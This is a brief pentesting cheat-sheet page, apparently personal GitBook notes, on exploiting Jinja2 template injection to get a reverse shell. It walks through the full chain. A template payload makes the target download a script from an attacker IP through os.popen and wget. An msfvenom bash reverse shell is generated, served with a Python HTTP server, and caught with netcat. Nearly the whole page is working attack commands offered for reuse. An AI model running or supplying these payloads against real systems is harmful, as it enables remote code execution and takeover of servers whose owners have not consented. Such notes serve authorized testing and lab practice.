> For the complete documentation index, see [llms.txt](https://davidtancredi.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/enumeration/80-http/jinja2.md).

# Jinja2

**LFI reverse shell** 

Kali:10.10.10.10

\[1A]Target: inject the following command

`{{config.`**`class`**`.`**`init`**`.`**`globals`**`['os'].popen('wget http://10.10.10.10:8000/revshell.sh -O /tmp/revshell.sh').read()}}`

\[1B] Generate msfvenom reverse shell (bash)

`msfvenom -p cmd/unix/reverse_bash lhost=10.10.10.10 lport=4444 -f raw -o revshell.sh`

\[2]Serve reverse shell payload on port 8000 with python server

python3 -m http.server 8000

\[3] Catch revshell        nc -nvlp 4444